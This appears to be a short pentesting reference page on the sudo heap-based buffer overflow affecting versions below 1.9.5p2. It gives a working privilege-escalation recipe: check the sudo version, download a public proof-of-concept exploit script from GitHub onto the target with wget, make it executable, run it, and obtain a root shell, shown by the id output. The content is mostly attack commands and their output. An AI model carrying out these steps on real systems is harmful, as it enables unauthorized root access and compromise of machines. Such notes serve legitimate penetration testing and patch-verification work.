Exploits
Sudo heap-based buffer overflow (< 1.9.5p2)
Affected versions:
sudo versions < 1.9.5p2
Available PoC.
# Check the target's sudo version
$ sudo --version
Sudo version 1.8.31
# Download the PoC to the target
$ wget https://raw.githubusercontent.com/worawit/CVE-2021-3156/refs/heads/main/exploit_nss.py
# Assign execute permissions
$ chmod +x exploit_nss.py
# Run the exploit
$ ./exploit_nss.py
...
# id
uid=0(root) gid=0(root) groups=0(root),998(apache),1004(anita)
Last updated
Was this helpful?